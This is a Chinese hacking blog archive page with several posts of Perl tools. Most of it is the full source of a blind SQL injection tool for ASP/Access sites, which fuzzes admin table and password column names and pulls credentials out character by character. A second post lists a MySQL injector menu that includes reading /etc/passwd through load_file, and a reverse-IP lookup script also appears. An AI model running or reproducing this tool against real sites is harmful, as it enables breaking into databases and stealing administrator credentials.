存档

文章标签 ‘Perl’

Blind Access SQL Injector (perl)

2011年9月20日 admin     656 views 1 条评论

最近找了个milw0rm风格的模板做了几个页面,主要是对博客一点都不简洁的东西有些忍受不了。
还有就是要测试一些asp+access的网站,懒的开虚拟机去扫注射什么的,就把原来用C语言写的小程序,改进了判断注射的方法,增加了对COOKIE进行检测的功能,用着还比较顺手,轻量级的就是比较快也容易控制。然后稍微一改就写了个注射access的小脚本,也没什么用纯属娱乐。
下载地址:http://www.cli5.com/paper/38

#!/usr/bin/perl
# blind access sqlinjector [GET Method]
# for educational purpose only!
# Code by c4rp3nt3r@0x50sec.org
#其实没多大作用

use POSIX;
use LWP::UserAgent;

#######!!!!!!SET THE FOLLOWING TWO LINES
$target ="http://www.cli5.com/exploit.asp?id=111";
$turestr='2011-1-1';
#######!!!!!!

$comstr="";		#%00
$nullstr="+";	#%20 %09 %0a 

print "\n";
print "\t|=-----------------------------------------=|\n";
print "\t|=---[ Blind Access SQL Injector V1.0 ]----=|\n";
print "\t|=-------[ c4rp3nt3r\@0x50sec.org ]---------=|\n";
print "\t|=-----------------------------------------=|\n\n";

main();

sub main
{

	print 'Choose a number to be execute:
	[a] fuzz table_name
	[b] fuzz column_name
	[c] sql (Dump data)
	';
	print "\n";
	print "Choose a number#";
	$xnum= ; chomp $xnum;

	if($xnum eq 'a')
	{
		fuzz_tb();
	}elsif($xnum eq 'b')
	{
		print "Enter The table name to fuzz the column#";
		$sql_stdin= ; chomp $sql_stdin;
		fuzz_pwd_usr_clm($sql_stdin);
	}elsif($xnum eq 'c')
	{
		print "Enter The admin table name#";
		$t_admin = ; chomp $t_admin;
		print "Enter the user column name#";
		$t_user = ; chomp $t_user;
		print "Enter the pass column name#";
		$t_pass = ; chomp $t_pass;
		dump_fuzz_half($t_admin,$t_user,$t_pass);
	}

}

#################
sub fuzz_tb
{
print "[*] Fuzz admin table name...\n";
$xsql = $nullstr.'aND(SeLEcT'.$nullstr.'CoUNt(*)'.$nullstr.'fRoM';#.think_md5hash)>0--

#print "$sql\n\007\n";
@ok_tbname=();
$long=@ok_tbname;

#print "[*] Guess table name...\n\n";
@tables=(
'admin',
'admins',
'users',
'user',
'usr_pw',
'salt',
'members',
'mysql.user',
'think_md5hash',
'hash',
'login',
'log_user',
'admin_user',
'adminuser',
'member_admin',
'AdminUsers',
'administrables',
'administrateur',
'administrateurs',
'login_admin',
'login_admins',
'login_user',
'login_users',
'lost_pass',
'lost_passwords',
'lostpass',
'lostpasswords',
'stnuser',
'stuser',
'stusers',
'stuseres',
'staff',
'u_name',
'u_p',
'u_pass',
'Benutzer',
'usercontrol',
'user_pw',
'Benutzerliste',
'userlogins',
'userpasswd',
'admuser',
'system',
'adm',
'tb_user',
'x_admin',
'm_admin',
'manage',
'member',
'tbl_user',
'tbl_users',
'tbl_admin',
'tbl_admins',
'tbl_member',
'tbl_members',
'tbladmins',
'admin_user',
'admin_userinfo',
'administrator',
'adminid',
'admin_id',
'adminuserid',
'admin_userid',
'AdminUID',
'adminusername',
'admin_username',
'adminname',
'admin_name',
'wp_users',
);
	foreach $tbname(@tables)
	{
		$final=$target.$xsql.$nullstr.$tb_prefix.$tbname.')'.$comstr;
		$ua =  new LWP::UserAgent or die;
		$ua->timeout(35);
		$ua->proxy("http", "http://$proxy/") if defined($proxy);
		$tbres = $ua->get($final);
		print "[*] Fuzz table name [$tbname]"."\n";
		#print $final."\n";
		if($tbres->content =~ /$turestr/)
		{
			$result=$result."[+] Found ->".$tbname."\n\n";
			print " \n[+] Found table_name-> [$tbname]"."\n\n";
			$long=@ok_tbname;
			@ok_tbname[$long]=$tbname;	#将存在的表名放到一个数组里
		}
	}

}

sub fuzz_pwd_usr_clm
{
my($xok_tbname)=@_;

##-------
@usrclms=(
'username',
'user_name',
'user',
'login',
'admin',
'adminname',
'admin_id',
'usr',
'name',
'u_name',
'administrators',
'administrator',
'adminuser',
'adminname',
'admin_name',
'admin_user',
'admin_username',
'user_admin',
'user_n',
'user_un',
'user_uname',
'user_username',
'user_usernm',
'user_usernun',
'user_usrnm',
'usr',
'email',
'mail',
'usr_n',
'usr_name',
'usr_pass',
'usr2',
'usrn',
'usrnam',
'usrname',
'usrnm',
'adminusername',
'bbsuser',
'bbsid',
'bbsusername',
'permission',
'access',
'accnt',
'accnts',
'account',
'accounts',
'qq',
'帐号',
'管理员',
'权限',
'用户名',
'会员',
'用户帐号',
);
@pwdclms=(
'password',
'pwd',
'userpass',
'pass',
'psw',
'userpwd',
'userpw',
'psd',
'pw',
'user_pass',
'admin_password',
'PassWD',
'user_password',
'uPassword',
'user_pwd',
'adminpwd',
'admin_pass',
'admin_password',
'login_pass',
'login_passwd',
'login_password',
'login_pw',
'login_pwd',
'login_user',
'login_username',
'adminpsw',
'adminupass',
'user_pass',
'user_passw',
'user_passwd',
'user_pw',
'user_pwd',
'user_pword',
'pword',
'user_pwrd',
'密码',
'用户密码',
'编号',
);

	print "\n[*] Fuzz user column name...\n\n";
	my $ua = new LWP::UserAgent or die;
	$i=0;
	$ua -> agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920	Firefox/3.0.4");
	foreach $usr_clm(@usrclms)
	{

		$xsql = $nullstr.'aND(SeLEcT'.$nullstr.'CoUNt('.$usr_clm.')'.$nullstr.'fRoM'.$nullstr.$xok_tbname.')'.$comstr;#.think_md5hash)>0--
		$final=$target.$xsql;
		$tbres = $ua->get($final);
		print "[*] Fuzz [$usr_clm] from $xok_tbname \n";
		#print $final."\n";
		if($tbres->content =~ /$turestr/)
		{	$result=$result."[+] Found column_name->"."[$usr_clm]"." from table_name->"."[$xok_tbname]"."\n";
			print "\n[+] Found column_name->"."[$usr_clm]"." from table_name->"."[$xok_tbname]"."\n\n";
			$usr=$usr_clm;
			last;
		}
	}

	print "\n[*] Fuzz password column name...\n\n";
	foreach $pwd_clm(@pwdclms)
	{
		$xsql = $nullstr.'aND(SeLEcT'.$nullstr.'CoUNt('.$pwd_clm.')'.$nullstr.'fRoM'.$nullstr.$xok_tbname.')'.$comstr;#.think_md5hash)>0--
		$final=$target.$xsql;

		$tbres = $ua->get($final);
		print "[*] Fuzz [$pwd_clm] from [$xok_tbname] \n";
		#print $final."\n";
		if($tbres->content =~ /$turestr/)
		{	$result=$result."[+] Found column_name->"."[$pwd_clm]"." from table_name->"."[$xok_tbname]"."\n";
			print "\n[+] Found column_name->"."[$pwd_clm]"." from table_name->"."[$xok_tbname]"."\n\n";
			$pwd=$pwd_clm;
			last;
		}
	}

	print "[+] Found column_name->"." [$usr] [$pwd] "." from table_name->"."[$xok_tbname]"."\n\n";
}

#################################
sub dump_fuzz_half
{
	$|=1;	# 立即刷新缓冲区输出内容
	my($xok_tbname,$usr,$pwd) = @_; 

	$fuzzsql="seleCt".$nullstr."count(*)".$nullstr.'from'.$nullstr.$xok_tbname;
	print "[*]$fuzzsql:\n";
	$count = fuzz_half($fuzzsql,0,45);
	if($count<=0)
	{
		print "[-]Count(*) of $xok_tbname is less than zero!\n";
		exit;
	}else
	{
		print "[+]Count(*) of $xok_tbname is: [$count]\n";
	}

	$fuzzsql="seleCt".$nullstr.'top'.$nullstr.'1'.$nullstr."len($usr)".$nullstr.'from'.$nullstr.$xok_tbname;
	print "[*]$fuzzsql:\n";
	$len = fuzz_half($fuzzsql,0,45);
	if($len<=0)
	{
		print "[-]Length of top 1 $usr is less than zero!\n";
		exit;
	}else
	{
		print "[+]Length of top 1 $usr is: [$len]\n";
	}
	@okusr=();
	@okpwd=();
	printf("[+]SeleCt top 1 [$usr] from [$xok_tbname]: ");
	for($subset=1;$subset<=$len;$subset++)
	{
		$fuzzsql='seleCt'.$nullstr.'top'.$nullstr.'1'.$nullstr."asc(mid($usr,$subset,1))".$nullstr.'frOm'.$nullstr.$xok_tbname;
		$long=@okusr;
		$ret=fuzz_half($fuzzsql,0,127);
		@okusr[$long]=$ret;
		printf("%c",$ret);
	}
	print "\n[";
	foreach $xoktbnum(@okusr)
	{
		printf("%c",$xoktbnum);
	}
	print "]\n";

	$fuzzsql='seleCt'.$nullstr.'top'.$nullstr.'1'.$nullstr."len($pwd)".$nullstr.'from'.$nullstr.$xok_tbname;
	print "[*]$fuzzsql:\n";
	$len = fuzz_half($fuzzsql,0,45);
	if($len<=0)
	{
		print "[-]Length of top 1 $pwd is less than zero!\n";
		exit;
	}else
	{
		print "[+]Length of top 1 $pwd is: [$len]\n";
	}
	printf("[+]SeleCt top 1 [$pwd] from [$xok_tbname]: ");
	for($subset=1;$subset<=$len;$subset++)
	{
		$fuzzsql='seleCt'.$nullstr.'top'.$nullstr.'1'.$nullstr."asc(mid($pwd,$subset,1))".$nullstr.'frOm'.$nullstr.$xok_tbname;
		$long=@okpwd;
		$ret=fuzz_half($fuzzsql,0,127);
		@okpwd[$long]=$ret;
		printf("%c",$ret);
	}
	print "\n[";

	foreach $xoktbnum(@okpwd)
	{
		printf("%c",$xoktbnum);
	}
	print "]\n\n";
	$fuzzsql="seleCt".$nullstr.'top'.$nullstr.'1'.$nullstr."$usr,$pwd".$nullstr.'from'.$nullstr.$xok_tbname;
	printf "[+]$fuzzsql:\n";
	print "[$usr] : ";
	foreach $xoktbnum(@okusr)
	{
		printf("%c",$xoktbnum);
	}
	print "\n";
	print "[$pwd] : ";
	foreach $xoktbnum(@okpwd)
	{
		printf("%c",$xoktbnum);
	}
	print "\n\n";

}

##################################
sub fuzz_half	#order by语句递归查询函数采用折半法
{
    #($min,$max)区间代表一个范围,正确的字段数在其中我们折半缩小之直到找到正确字段数
    #$min 代表能够正常显示的已经确定的最小整数
    #$max 代表不能够正常显示的已经确定的最小整数,作为我们可以确定的范围的最大数所以叫其"max"
    my ($sql,$min,$max) = @_;
    $x_fuzzsql=$sql;
    if($max==0&&$min==0)
    {
		return 0;
    }
    if($max-$min==1)#如果能正常显示的最小整数比不能正常显示的最小整数大一那么最小的数$min
    {				#就是要找的正确字段数目退出递归函数返回之
    	return $max;
    }
	#如果上面条件没成立就取范围中间的数字作为order by查询字段数
	my $mid=int(($min+$max)/2);#取两个正整数的平均值
	#print "max:$max,min:$min,mid=$mid\n";
	$final=$nullstr."AnD"."($sql)>";
	$final = $target.$final.$mid.$comstr;
	#print "[*] Test ($sql)>$mid...\n";
	#print $final."\n";
	my $lwp = new LWP::UserAgent or die;
	$lwp -> agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4");
	my $res = $lwp->get($final);
	my $myres=$res->content; #for test
	if($res->content =~ /$turestr/)
	{
		$min=$mid;
		fuzz_half($sql,$min,$max);
	}
	else
	{
		$max=$mid;
		fuzz_half($sql,$min,$max);
	}
}
分类: 工具代码 标签: , ,

SQL注射辅助工具的编写

2011年7月19日 admin     938 views 1 条评论

好久没更新,也没去找文章copy上来了,发现小站做的越来越烂。
现在开放、共享的环境越来越差了…
今天因为需要就临时改了下原来写的一个小脚本,增加了mysql报错方式盲注的小功能,这个功能sqlmap应该有吧,好久没用过了,windows下Havij 1.14 Pro这个工具也用这种方式盲注,所以速度很快。

此外还尝试用C语言写一个web漏洞检测程序。
初步实现是爬行网页,提取url,然后提取url的参数,然后判断是否存在注射。这些东西网上都有,我实现这个玩意主要是检验和提高C语言编程方面的知识,另一方面自己写的可以随意扩展,并且用的时候知道程序在干什么。已经初步实现了检测部分弱智注射了,还存在很多要完善的地方,真正要写个小工具的时候发现并不是那么简单,老有想找个代码参考下的冲动。

[root@localhost]# ./bget.pl

|=—————————————–=|
|=——[ Blind SQL Injector V1.3 ]——–=|
|=——-[ c4rp3nt3r@0x50sec.org ]———=|
|=—————————————–=|

Choose a number to be execute:
[0] sql (from [STDIN])
[1] version()
[2] database()
[3] user()
[4] dump table_schema v5.x
[5] dump table_name (table_schem=database() v5.x)
[6] dump column_name (table_name= [STDIN] v5.x)
[7] fuzz table_name v4.x
[8] fuzz column_name v4.x
[9] fuzz web path(‘read httpd.conf’)
[a] load_file(‘/etc/passwd’)
[b] load_file(‘c:\boot.ini’)
[c] load_file(‘file path from [STDIN]‘)
[d] load_file(‘file path from [STDIN] error base’)
[e] dump table_schema (v5.x error base)
[f] dump table_name (table_schem=database() v5.x error base)
[g] dump column_name (table_name= [STDIN] v5.x error base)
[x] sql (from [STDIN] error base)

Choose a number#

分类: 新闻八卦 标签: , ,

一个简陋的同ip域名查询脚本

2011年6月16日 admin     978 views 没有评论

一个简陋的同ip域名查询脚本,实在简陋,丢出来想要的拿走。

可以同时查询google page rank。

#!/usr/bin/perl
# Same IP / Reverse IP Lookup
# Code by c4rp3nt3r#0x50sec.org
#

use POSIX;
use LWP::UserAgent;

$lwp = new LWP::UserAgent or die;

print “\n[*] Same IP / Reverse IP Lookup\n”;
print ‘[*] by c4rp3nt3r@0x50sec.org’.”\n”;

$api = ‘http://sameip.org/ip/’;
$host = $ARGV[0];
$api .= $host;

$res = $lwp->get($api);
$myres=$res->content;
#printf($myres) ; #for test
$i=0;
@hosts=();
$len=@hosts;

#get_pr(‘www.0x50sec.org’);
while($myres =~ /<a\shref=\”http:\/\/(.+?)\”\srel/i)
{
$qq=$&;
$host=$1;
$len=@hosts;
$hosts[$len]=$host;
$myres =~ s/$qq//mg;

}
$len=@hosts;

if($len != 0)
{
# print “[+] Domains Result:\n”;
# for($i=0;$i<$len;$i++)
# {
# print “[$i]\t”.$hosts[$i].”\n”;
# }
print “[+] Google PageRank Result:\n\n”;
for($i=0;$i<$len;$i++)
{
print “[$i]\t”.substr(get_pr($hosts[$i]),0,1).”\t”.$hosts[$i].”\n”;
}

}else
{
print “[-] Result Not Found !\n\n”;
exit;
}

print “\n[+] Found $len Domains! \n\n”;
sub get_pr
{
@suburl= @_;
my $url = $suburl[0];
$prapi=’http://www.0x50sec.org/pr.php?h=’;
$prapi .= $url;
$prlwp = new LWP::UserAgent or die;
$prres = $prlwp->get($prapi);
$pr = $prres->content;
return $pr;
}

MySQL注射工具及其简单测试(Perl)

2010年3月3日 admin     2,498 views 1 条评论

order by的验证采用折半方式猜解,可以自由选择dump的数据库,默认是当前数据库。
dump数据库的时候用的是group_concat()一次get就搞定,因为有时候table比较多为了能全部显示,所以dump table_name的时候用的是limit x,1,一次get()只能读出一条记录,鱼与熊掌不可兼得啊。基本上人工是怎么注射的,这个小程序就是怎么注射的。
简单测试结果如下:

阅读全文…

MySQL盲注辅助工具之GET方式(Perl)

2010年3月3日 admin     3,829 views 没有评论

hackerxwar(此ID已废)同学用perl写的一个MySQL盲注辅助工具。
程序(以PHP+MYSQL为例)是单线程的但是通过一个递归函数采用折半法猜解,效率很高,读一个字符一般只需要7次请求。
会手工注射的肯定会用,用法就不另外给出了.
直接给出下载地址:get.pl.tar

Perl编写搜索型Blind SQL Injection辅助工具[一]

2010年3月2日 admin     2,309 views 3 条评论

编写搜索型Blind SQL Injection辅助工具

[0x50sec]

首发《黑客防线》,版权规作者和黑防所有,未经允许请勿转载。
SQL 注射当经仍是攻击网站的主要手段之一,今年很多网站注意了这方面的防
范,明显的GET型式的注射修补了,往往忽略了搜索框的数据过滤,使攻击者有机
可乘。然而对于盲注来说,手工非常麻烦,往往要提交成百上千次才能查询到想要
的信息进入后台,强大的盲注工具sqlmap往往需要很多烦人的参数(对于搜索型的
注射我还真不会用),我是一懒人,与其记别人的参数还不如自己写一个。

《黑客防线》的老读者是否还记得以前有一篇文章叫《老树新花 溯雪在SQL
Injection中的应用》,讲得是通过溯雪来进行搜索型的Blind SQL注射,非常有新
意,比手工注射省了一些力,不过得自己用C语言生成字典,每次读一个字母得麻
烦好几次,挺麻烦的,而且结果不直观。

程序(以PHP+MYSQL为例)是单线程的但是通过一个递归函数采用折半法猜解,效率
很高,读一个字符一般只需要7次POST。
为了节省版面,对MYSQL 4没有技术含量的暴力猜测表名跟字段名没有写,有兴趣
的网友看了下面的程序肯定能够自己写出来的。

阅读全文…